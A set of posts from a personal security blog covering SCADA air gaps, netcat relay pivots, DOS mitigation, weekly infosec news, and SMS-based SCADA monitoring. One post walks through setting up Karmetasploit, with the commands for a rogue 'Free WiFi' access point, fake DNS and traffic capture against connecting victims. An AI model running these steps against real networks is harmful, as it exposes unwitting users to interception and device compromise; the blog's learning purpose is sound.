Bill’s Security Blog

When most people talk about SCADA, they are generally including a whole lot of stuff that is not SCADA.

In general, true SCADA systems are and must be connected in some way. This is generally because they are located over a large geographical area. DCS systems are sometimes called SCADA, but they are not. DCS systems are what you find in small foot-print facilities, like a prison, a power plant, a bottling company.

These systems are generally similar in that they monitor and control a physical process. In the case of SCADA, these are dispersed over a large geographical area. In DCS, they are centrally located. In almost ALL cases, there is never a need to receive data from “outside” the SCADA or DCS system. The data is generated inside the system, and is often pumped out for analysis and monitoring. (It’s when we connected them that we screwed the poodle.)

This is important when it comes to securing these systems. When your digital assets are located over a large geographical area, you need some type of connectivity (4G, wired Internet, RF, whatever) that ties these together. This increases the attack surface.

However, if all your digital systems are in one small geographical area (e.g., a industrial plant), it’s easy to “snip the wire.”

Now, we can have a religious debate about air gaps - but that’s meaningless. When people say, “there’s no such thing as an air gap” they assume a whole bunch of conditions that may or may not be true. For the record, I will smack the next person that says, “there’s no such thing as an air gap.” The correct expression is “creating an air gap is hard.”

When securing industrial facilities that use digital equipment of various vintage and capability, creating an electronic air-gap is one step in implementing a robust “air gap”.

I try to think about the “air gap” as implementing controls to address “bad juju” that can get into or out of your digital equipment along 5 key vectors:

1. Direct network access (all types)
2. Wireless network access (all types)
3. Portable media and equipment (used to maintain digital assets, or to move data to-or-from digital assets)
4. Direct physical access (if you can touch it, you can pwn it…)
5. Supply chain (including vendor patching processes, and procurement-related issues)

Certainly, these can be collapsed into two vectors - logical and physical access - however, adding some granularity helps with discussion!

To illustrate - if the digital asset has no wired or wireless networking, physical access is controlled to authorized people with appropriate training, portable media and equipment that is connected to the system for maintenance and patching is rigorously protected, and we ensure any software or hardware coming in through the supply chain has reasonable degrees of security - then we have a well protected system. (Note, this gives you a good start on the prevention piece, but does not solve the monitoring/detection or incident response piece).

To establish an “air gap” we must address threats that can materialize along any of the 5 key vectors. If we do this successfully, then I will say, “you have a pretty good air gap.”

These vectors are very hard to address in a corporate environment, where the critical asset is DATA, and not hardware. The data is too easy to move, so it is nearly impossible to address all vectors to the data. Securing SCADA systems is also hard for similar reasons. But in terms of complexity, to get equivalent levels of protection for Data, SCADA, or DCS, I think the distribution of work would look as follows:
DATA - 85 %
SCADA - 10 %
DCS - 5 %
IE, if you spent 5% of your security budget on your DCS system security, you’d get equivalent protection as the 85% you spent to protect DATA.

The challenge is - we’ve spent decades working on data security (centuries if you consider crypto a part of data security), but only short years talking about SCADA and DCS security. So, as all humans do, we have to screw this up 1,000 times before we spend 10 minutes trying to figure out how to do it right once…

Purpose
The purpose of this post is to provide quick guidance on getting Karmetasploit running on BT4R2 for my specific environment.  These steps may work for you, but this post is intended, primarily, to document this so I can remember it later…

Background
Karmetasploit is a combination of Karma and Metaploit.

Resources Used
1: KARMA + Metasploit Framework 3 == Karmetasploit
2: Metasploit with MYSQL in BackTrack 4 r2
3: Karmetasploit Configuration
4a: Metasploit + Karma=Karmetasploit Part 1
4b: Metasploit + Karma=Karmetasploit Part 2

Prerequisites

• BT4R2 is installed
• Networking to the Internet is available (to update BT and MSF)

Update BackTrack and MSF
Update BT4R2

> /usr/bin/apt-get update
> /usr/bin/apt-get upgrade

Update MSF

> /opt/metasploit3/msf3/msfupdate

Configure
Metasploit Karma Configuration File
Download File

> /usr/bin/lynx -nolist -dump http://metasploit.com/users/hdm/tools/karma.rc > karma.rc

Edit File
Change the following lines as noted
load db_sqllite3 –> db_driver mysql
db_create /root/karma.db –> db_connect root:toor@localhost/karma

DHCP Configuration File
Edit File
Change the following config file as described in Resource 1.
/etc/dhcp3/dhcpd.conf

Reboot
Restart the host to reset the wireless network… This step may be necessary if you were using the wireless interface to perform the above activities.

Test Wireless Injection

> /usr/local/sbin/airmon-ng start wlan0

The above command creates interface mon0.
The next command tests packet injection on the interface. (Note, this is “DASH DASH test mon0″ - it may display as “DASH test mon0″ in your browser).

> /usr/local/sbin/aireplay-ng –test mon0

To stop the monitor interface

> /usr/local/sbin/airmon-ng stop mon0

Run
Start MySQL

> /etc/init.d/mysql start

Create Fake AP
If have not done so, place the wireless card in monitor mode using:

> /usr/local/sbin/airmon-ng start wlan0

Then execute the following commands:

> /usr/local/sbin/airbase-ng -P -C 30 -c 1 -e “Free WiFi” -v mon0

(The above command creates interface at0. We will use this as the end-point interface for clients connecting to our fake AP.)
Note: without the -c 1 option, my AP would NOT show up in the available networks list of my victim. I obtained the channel number by looking at the output of the –test. I compared the APs showing up in that list to those showing up on my victim, then using the same channel. Others have experienced this as noted in Kosis’s comment on CG’s blog post (Resource 4b).

> /sbin/ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
> /usr/sbin/dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
> /opt/metaploit3/msf3/msfconsole -r karma.rc
> /usr/sbin/tcpdump -w dump.pcap -i at0

Look at Progress

msf> db_notes

Consider: Blackhole Routing from the MSF paper

NOTES
Looks like fakedns crashes after some time. Appears to crash after first client connections. How to monitor?
The fakedns can be restarted as follows:

msf> use auxiliary/server/fakedns
msf> set SRVPORT 53
msf> run

Howdy folks!

Episode 195 of PaulDotCom Security Weekly prompted me to revisit an old favorite, netcat (many netcat versions exist). On the episode, Ed Skoudis provided an excellent technical segment on using netcat and netcat-like relays.

The write-up at PDC is very well done, but I thought I’d work my way through the examples, and try to illustrate with more text and some graphics. If you are following the notes on PDC, be advised I am using the term pivot synonymously with relay…

The goal of this post is to reinforce my own understanding of netcat by providing an informative introduction, and help readers who may not have familiarity with netcat develop an understanding of the possibilities the tool introduces.

Background

The simple netcat session consists of two steps:

1. On one host, create a netcat listener on a specified port – sometimes referred to as the server
2. On another host, create a netcat connection to the listener created in Step 1, sometimes referred to as the client

Once established, a netcat session provides bi-directional communication. Data going in one end, comes out the other. The session does not discriminate between ‘client’ and ’server.’ The only differentiator is that the listener is created first.

A fairly contrived networking example is provided below to illustrate netcat in use.

The version of netcat used in these examples is provided with BackTrack 4, and is slightly different than the version provided with some flavors of *Nix. But the basics are the same.  If you are using Ubuntu - the -p when creating the listener is optional.  Other than that, these command should work as written.

Example 1: Simple Netcat Session

Image 1: Simple Netcat Session

In this example, Host A and Host B want to communicate. Following the process described above, Host B creates a listener in Step 1, and Host A connects to that listener in Step 2.

A slightly more complicate example is provided in Example 2.

Example 2: Partial Pivot

Image 2: Partial Pivot

In Example 2, Hosts A and B can communicate, and B and C can communicate, but A and C cannot, directly.

If A wants to send data to C, we must pivot through B.  We must use B as a relay between A and C.

This requires two netcat sessions. One between B and C, and another between A and B. Naturally, then, we need to set up two listeners (servers) and two talkers (clients).

The first session is established between B and C. This is done in Step 1 and the second part of Step 2.
Step 1) > nc -l -p 3333
Step 2.2) > nc 10.1.0.3 3333

The second session is created between A and B. This is done in the first part of Step 2 and in Step 3:
Step 2.1) > nc -l -p 2222
Step 3) > nc 10.1.0.2 2222

The key to making this pivot work, is that we must connect the output of the second session (between Host A and B) to the input of the first session (between Host B and C). This can be seen in the diagram’s Step 2. Host B issues the command to establish the listener for the communication with Host A using a pipe to send the output to the connection is it making to Host C.
> nc -l -p 2222 | nc 10.1.0.3 3333
This basically says, “listen for data coming in on 2222 and pipe it to port 3333 on host 10.1.0.3.

Perfect. Now all data sent to stdin on Host A will be sent through the pivot at Host B and to stdout on Host C.

The problem, however, is that Host A cannot see the results of whatever he sends through to C.

The challenge is that Host A’s output to B is being piped into a netcat session with C. Data coming back from C appears on the stdout of Host B! Host A never gets to see what is going on.

To remedy this, we must pipe the stdout coming from Host C to Host B to a place A can see it. If Host B has write access to a publicly accessible source (e.g., ftp server, wwwroot, etc) then problem solved. Or, we can create a third netcat session back from B to A!

Example 3: Two-way Pivot

Image 3: Two-way Pivot

This example extends the second example by simply providing one more netcat session back from stdin on B (coming from C) to Host A.

The stinky part is that Host A now has two terminal windows open:

1. A session for sending the data through the pivot at B to C, and
2. A session for receiving the results coming from C back through the pivot at B.

What we do gain, however, is that though Hosts A and C cannot talk directly, they can relay their communications through an intermediary set of hosts to accomplish the same task.

This method can be simplified.

As Ed pointed out in his Technical Segment, a shell redirect through a named pipe works quite well.

Example 4: Two-Way Pivot Using Named Pipe

Image 3: Two-Way Pivot Using Named Pipe

In Example 3, the relay, Host B, creates a named pipe, and then funnels the netcat input/output through the named pipe.

Host B issues the following two items on the command line:
> mknod bp p
> nc -l -p 2222 0<bp | nc 10.1.0.3 3333 1>bp

To analyze, let me label each part of this set of commands:
A) mknod bp p
B) nc -l -p 2222 0<bp
C) nc 10.1.0.3 3333 1>bp
D) B | C

A) mknod bp p
In step A, Host B creates a named pipe of type FIFO (p). A FIFO pipe works just like a FIFO queue – First In, First Out. This means that the first data arriving in the pipe will be the first data taken out of the pipe. This will allow us to create a writer and a reader attached to the queue. If you envision this as a line at a bank, the reader will be the bank teller, taking folks out of the queue, and the door to the bank acts as the writer, adding folks to the queue.

B) nc -l -p 2222 0<bp
In step B, the host creates a listener bound to port 2222, and uses input redirection to dump anything from the named pipe (bp) into the netcat session. When a client actually connects to this netcat session, the input will be written to stdout on Host B.

C) nc 10.1.0.3 3333 1>bp
In step C, the host creates a netcat session to host 10.1.0.3, where the output (stdout) arriving from the listener at the far end will be written into the named pipe (because of 1>bp).

What we can see now, is that the netcat listener in Step B is the reader from the FIFO queue, and the netcat session created in Step C is the writer to the queue. Perfect.

D) B | C
The final command D ties the two components together. Without using the pipe operator, the stdout arriving from Host A is still written to stdout on Host B. By using the pipe, we push stdout arriving from A into the netcat session created to Host C, just as we’ve done several times in these examples.

To illustrate the full data flow, then. Once both sets of netcat sessions are established as illustrated in Example 4, data flows through the system as follows. Data entered at Host A is sent over the netcat session to Host B where it is redirected through a pipe ( “|” ) into the netcat session Host B has created with Host C. As data comes back from Host C, it arrives at Host B, is written into the named pipe using output redirection (1>bp), where it is picked up by the netcat session Host B has with Host A because of input redirection (0<bp)

Conclusion

Skoudis goes into several deeper examples in the PDC Episode 195 show notes, and I encourage folks to read. It seems that your imagination, and the combination of your user access rights and a forgiving firewall rule-set are the only things limiting you!

The goals of this post are to:

• Strengthen my knowledge by educating;
• Assist those who may not have much exposure to netcat; and
• Help spark interest in the countless possibilities introduced!

I help you found it useful.

Bill

Good article on the security of SCADA and control networks.

Some good background and some insights into how people might go about hacking these networks.  Social engineering almost always seems to work…

I know a lot of IT Security people don’t know a ton about SCADA or control networks, but they sure have an easy time hacking them.  I see a growing convergence between Control System people and IT people - hopefully they’ll talk about security.

Cyber watch

This is common theme for me.

Perhaps I should state my feelings clearly: “If you depend on wireless in a control system environment, you are friggin’ crazy!”

A few weeks ago, I wrote about a SCADA tool from Conlab called U.C.ME.

This tool touts two-way SMS management of your infrastructure! Sweet, eh?

Now, I wrote Conlab but haven’t heard anything meaningful back. Err… Well, I did. I got a quippy email… “You said you emailed us, but you never did.”

Well, I have tried again, and to no avail.

Looking at the product’s material, they seem to be referencing a company ControlSee.  I’ll contact them.  Perhaps Conlab is just a reseller?  Who knows.

I wrote Conlab, who I thought was the product creator, to ask them what kind of authentication they are doing, and how they are preventing simple things like replay attacks.

Crickets.

Google alerts just tossed me this:
“Imagine you could speak to your SCADA system… Send a text message to your SCADA system.”

More talk of controlling your infrastructure through remote access.

Zero talk of configuration and control of access.

Conlab, ControlSee, whoever, for the love of god and all that is holy, if you have any information on this, please send it to me. This kind of stuff keeps me up at night.

Bill

The attack vectors and mitigation are not exhaustive, and are exemplary only.

A denial of service (DOS) attack is an attack against limited resources. A DOS attack is an attack against the “availability” function of the typical “CIA” security triad of “Confidentiality, Integrity, and Availability”.

A DOS attack is perpetrated by applying enough pressure against a target that the target’s resource allocation is overwhelmed.

In the question you posed, a DOS attacks can be perpetrated against any resource that supports the Web infrastructure.

A successful DOS attack against a web site tends to exhaust resources in one or more of three primary categories:

1. Network resources (routing capacity, network bandwidth, etc)
2. Web server resources (processor power, memory power, host networking capacity)
3. Database server resources

Mitigating a DOS attack involves protections at all three levels of the infrastructure.

One popular DOS attack is the “Distributed Denial of Service” attack.

Mitigation for this type of attack include:

• Network layer traffic filtering to attempt to block sources of the network-based DOS traffic.
• Increased network bandwidth and capability – Can you out-power the attackers.
• Website mirroring and caching can be employed.
• Website collocating can also help. If your website is hosted on multiple physical networks, taking the site down involves attacking multiple network resources.

A second attack vector is against the web server’s physical resources.

Perhaps you can get enough traffic through the network filters to overwhelm the web server’s processing capabilities.

Mitigation for this type of attack include:

• Throttling network filtering to ensure that the web server(s) do not get more traffic than they can handle.
• Website mirroring helps by adding additional capacity.
• Caching can also help by reducing the amount of processing necessary to serve the site.

Another type of DOS attack is a targeted attack against the applications running on the website.

If the website uses a database back-end, it is possible to execute a DOS attack by using SQL Injections that destroy database integrity, or prevent database access.

Mitigation for this type of attack include:

• Proper coding practices in the web applications that prevent SQL Injection attacks.
• Proper database account security that prevents unauthorized destruction of data.
• Database redundancy that attempts to keep the data available even if one or more data source is unavailable.

A snapshot of topics of personal interest that have been talked about in the IT Security realm over the past week.

NOTE: I have changed the name of this weekly post from “this week in infosec” to “last week in infosec” to capture the obscenely obvious.

NOTE 2: Last two weeks have been crushingly busy. Will try to catch up this coming week, but have doubts about my capability :)

Threats/Countermeasures

New core networking vulnerability in TCP on the horizon

Thought things were over when Kaminsky’s bug got fixed? Guess again.

From Rich Mogul’s Securosis blog: Massive TCP Flaw Looming (selected quotes)

Basically, it’s a massive unpatched denial of service attack that can take down nearly anything that uses TCP, in some cases forcing remote systems to reboot or potentially causing local damage. Codified in a tool called “Sockstress”, Robert E. Lee and Jack C. Louis seem to be having trouble getting the infrastructure vendors to pay attention.

From what Robert told me, supported by the articles, this tool allows an attacker to basically take down anything they want from nearly anywhere (like a home connection).

Rich points to other material:
Dark Reading Room: New DOS Attack Is a Killer
SearchSecurity: New attacks reveal fundamental problems with TCP

Rich followed up with a post on October 3: Why The TCP Attack Is Likely Bad, But Not That Bad - again, quoting selectively:

Here’s what I think you need to know:

1. It is almost certainly real.
2. Using this technique, an attacker with very few resources can lock up the TCP stack of the target system, potentially draining other resources, and maybe even forcing a reboot (Could this trash a host OS? We don’t know yet.).
3. Anything that accepts TCP connections is vulnerable. I believe that means passive sniffing/routing is safe.
4. The attack is obvious and traceable. Since we are using TCP and creating open connections (not UDP) it means spoofing/anonymous attacks don’t seem possible.
5. Thus, I’d be more worried about a botnet that floods your upstream provider than this targeted attack.
6. This is the kind of thing we should be able to filter, once our defenses are updated.

Countermeasures -
None at the moment - prayer might be a good start. From the SearchSecurity article:

“The best advice I have right now is don’t allow anonymous connections. Make whitelist so only certain IP addresses can come in,” Lee said, acknowledging the impracticality of that for a Web server or mail server or virtually any other TCP-enabled device. “There’s no real workaround right now.”

Verizon - Security FAIL
From BugTraq:
Verizon FIOS (and DSL?) wireless access point insecure default WEP key

By default, the 40-bit WEP key for the wireless router provided by
Verizon to FiOS (fiber optic) and possibly DSL customers is set to the
last 40 bits of the router’s 48-bit MAC address. This is significant
because the router’s MAC address (the MAC address of it’s WAN-side
ethernet port) is easily discoverable using kismet without even
needing to know the WEP key.

When I got my FIOS, I was excited to see that they at least had WEB enabled by default.

Because I don’t trust any wireless connection, I didn’t even bother looking too closely at the default WEP key. The built-in firewall is enabled, and it seemed much better of a default configuration than I expected.

But using the MAC as the WEP key… Uh… FAIL

Countermeasure - Change your WEP key. Do it… 5 minutes…

Yes, you can crack WEP easily, but why make it obscenely obvious. Changing the default at least makes the attacker have to work more than 30 seconds.

Attack Vectors/Trends

Exploiting web trends to serve malware
From ZDNet’s ZeroDay blog post: Cybercriminals syndicating Google Trends keywords to serve malware

In an underground ecosystem that is anything but old fashioned when it comes to abusing legitimate web services, cybecriminals have started exploiting the traffic momentum, and by monitoring the peak traffic for popular search queries using Google’s Trends, are syndicating the keywords in order to acquire the traffic and direct it to malware serving blogs primarily hosted at Windows Live’s Spaces.

One method for distributing malware is getting people to visit your malicious website and then using browser hacks or other tactics to get the user to download and install your app.

This technique takes advantage of popular search terms to seed their malware pages, increasing their relevancy in searches.

Cute.

A snapshot of topics of personal interest that have been talked about in the IT Security realm over the past week.

Threats/Countermeasures

Browser Security
While reading about the new attack vector called Clickjacking, I came across a useful article by US-Cert titled Securing Your Web Browser.

The guide covers specifics for both IE and Firefox, and is a must read.

Social Engineering
Get your passwords here, less than $10 USD
Brits Give Up Passwords For a £5 Gift Voucher

Attack Vectors/Trends

Clickjacking
Discovered by Robert Hansen and Jeremiah Grossman.  From: Clickjacking: Researchers raise alert for scary new cross-browser exploit

With this exploit, once you’re on the malicious web page, the bad guy can make you click on any link, any button, or anything on the page without you even seeing it happening.

Seems to rely on DHTML which cannot be disabled in browsers easily.

Work around - for the trusting types: don’t visit un-trusted sites and fill out any forms - be safe and wait for vendor patches.

Work around - for the paranoid: use Lynx or Links.

More info from US-Cert: Multiple Web Browsers Affected by Clickjacking

US-CERT is aware of public reports of a new cross-browser exploit technique called “Clickjacking.” According to one of the reports, Clickjacking gives an attacker the ability to trick a user into clicking on something only barely or momentarily noticeable. Therefore, if a user clicks on a web page, they may actually be clicking on content from another page. A separate report indicates that this flaw affects most web browsers and that no fix is available, but that disabling browser scripting and plug-ins may help mitigate some of the risks.

An additional report suggests that Firefox users consider using the NoScript plug-in as an added preventative measure. Disabling IFRAMEs by default, as outlined in the Securing Your Web Browser document, is reported to protect against the vulnerability.

News and Analysis

Blackberry
India’s government: At last, we’ve cracked Blackberry’s encryption

If this is true, why are we trusting Blackberry devices in the enterprise?

Good: We know they’ve cracked it.
Bad: Brings home the point that government knows everything about us.

Oh, I guess this is good:

“… still unable to crack BlackBerry Enterprise Service’s end-to-end AES or Triple DES, doesn’t really count as cracking Blackberry’s encryption.”

Google Chrome
Still more vulnerabilities coming out about this beta product.

Makes me think bout something - one positive about “old” code is that it’s been fully tested - most of the low-hanging-fruit should be worked out.

Much of Chrome is established code - but it looks like in the parts Google had to write - lots of issues.

Apple + Security == NULL
Java on Apple Mac OS X 10.5.4 and 10.5.5 does not prevent applets from accessing file:// URLs, which allows remote attackers to execute arbitrary programs.

National Cyber Security
Estonia posts their national Cyber Security Strategy

I’ll be reading it this week.

I think it’s pretty compelling to have a national strategy guide. I wonder how long the US document would be. I think it would take more than a decade to write, given the myriad of federal agencies that would need to be involved.

Bureaucracy = security fail.

It’s been a busy last week, and this week looks no less busy. I’ve missed out on some of my favorite blogs this past week, but will hopefully catch up if I can!

See you next week

I have been spending some time lately researching the growing trend of using wireless and other remote connectivity services in SCADA networks and other control system applications.

Being an Infosec guy, this is hugely concerning.

Subversion of wireless and other remote technologies is very easy relative to a wired network at a facility.

SImple examples of the types of issues we can expect:

• Replay attacks
• DOS attacks
• Unauthorized disclosure
• Additional attack vectors

Some control systems (running a candy making facility, for example) - may not associate very high risk values to these vectors.

But what if you are a water plant, sewage treatment facility, auto manufacturer.

What kind of damage can be done if:

• An attacker can sent arbitrary alarm messages
• An attacker can send arbitrary alarm reset messages
• An attacker can flood the wireless device - preventing alarms from sounding

You get the idea.

On PACE, I just read a post: New software for wireless automation control, regarding Conlab’s U.C.ME product:

U.C.ME-OPC interfaces with any SCADA/HMI, OPC or DDE server to provide efficient, rapid and secure two-way communication with SCADA platforms, remote devices and users, via text messaging (SMS) or telephony, says the company.

Now, from what it looks like, the U.C.ME system does not alter settings on any devices - it’s simply a monitoring tool, but what if your command and control decisions are based on the information coming out of U.C.ME?

I have contacted Conlab for more information and will report back.

For now, it’s best to take some precautions:

1. Know that every message sent by your systems over a wireless network will be read by an adversary.
2. Assume that all data received from this system, or by this system may be forged.
3. Know that not hearing from the system doesn’t mean anything is going wrong, or that hearing from the system means there is a problem.

Essentially: If you use wireless technologies of any tye in the control system space, don’t trust the data at all… Not one bit.

Bill

A snapshot of what’s been talked about in the IT Security realm over the past week.

Attack Vectors/Trends

This weekend I was listening to an episode of hmm… I think it was SecuraBit.

In any event, they spent some time talking about something I have posted about before: GIFAR.

GIFAR is combining Java JAR applets inside a GIF image.

When I first heard of it, I thought it was a neat vector, but didn’t fully consider the threat until I was listening to the podcast.

How many sites let users upload a profile image? Or how many social networking sites allow people to upload images and make galleries?

So, this bug is back on the radar.

News and Analysis

Microsoft, Apple, and age old bugs

This week @RISK listed a series of Microsoft image processing buffer overflows.

Buffer overflows. Yep, you heard it right.

Microsoft still doesn’t get it. Boundary checking is to a software developer what firewalls are to a network admin.

Shame on you, Microsoft.

The part that really gets my goat on this is that these are being discovered by researchers. Not by Microsoft. You can run automatic code checkers that will tell you that you have assignments with improper bounds checking.

This means that not only have Microsoft’s developers not gotten the clue, but also that Microsoft isn’t even doing the due diligence to do automated validation.

Fail.

Now, to be fair, there are several similar bugs this week in Apple products, including both host OS and iPhone.

But Apple is not enterprise ready, and it should not be used in the enterprise, and if it is, you get what you get.

Microsoft, on the other hand, explicitly bills themselves as the enterprise product. I expect more.

Google Chrome

I wrote a little about Chrome in last week’s This Week in Infosec.

Many more bugs have been discovered.

This is odd coming from Google that traditionally has pretty tight code.

Either they were rushing to market, or hoping that the community would debug for them.

Either way, they lost credibility with me. Yes, it’s still beta software, but some of these bugs are pretty basic stuff, like buffer overflows, which are insanely easy to find in the code.